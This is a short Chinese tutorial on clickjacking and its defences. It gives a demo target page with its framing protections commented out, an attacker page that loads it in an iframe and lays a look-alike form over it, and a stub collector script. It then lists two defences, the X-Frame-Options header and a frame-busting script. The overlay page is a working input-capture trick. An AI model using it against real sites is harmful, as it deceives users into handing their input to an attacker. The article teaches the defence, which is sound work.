您现在的位置:首页 >> 前端 >> 内容

点击劫持和防御

时间:2016/12/13 9:35:21 点击:

  核心提示:原页面source.php?php //header(X-Frame-Options:DENY);?!DOCTYPE htmlhtmlheadtitle/titlestyle type=text/cs...

原页面source.php

<?php
 //header('X-Frame-Options:DENY'); 
 ?>
<!DOCTYPE html>
<html>
<head>
    <title></title>
    <style type="text/css">
        html,body{
            margin: 0px;
            padding: 0px;
        }
    </style>
</head>
<body>
<script type="text/javascript">
    //if(parent != self) top.location.href = 'source.php';
</script>
<form action="hij.php">
    <input type="text" name="name">
    <input type="submit" name="">
</form>
</body>
</html>

劫持页面hij.html

<!DOCTYPE html>
<html>
<head>
    <title></title>
    <style type="text/css">
        html,body{
            margin: 0px;
            padding: 0px;
        }
    </style>
</head>
<body>
<iframe src="source.php" style="border:0px solid white"></iframe>
<form action="hij.php" style="position:absolute;top:0px;left:0px;z-index:1">
    <input type="text" name="_name">
    <input type="submit" name="">
</form>
</body>
</html>

收集信息的页面hij.php

<?php
    echo 'hello hijack';
?>

攻击方法:

首先自己写一个页面,接着用iframe引入其他的页面,然后自己利用定位和z-index对原页面进行覆盖和’重绘’,当用户在输入时,以为是正常的页面,其实用户输入是在恶意页面进行的,最后也会提交到恶意者的服务器中。

防御方法:

1利用 header(‘X-Frame-Options:DENY’);

2 if(parent != self) top.location.href = ‘source.php’;这里要用top.location.href,否则会在iframe里不断加载source.php。因为 top.location.href代表的是最高层的window

作者:网络 来源:标子 的专栏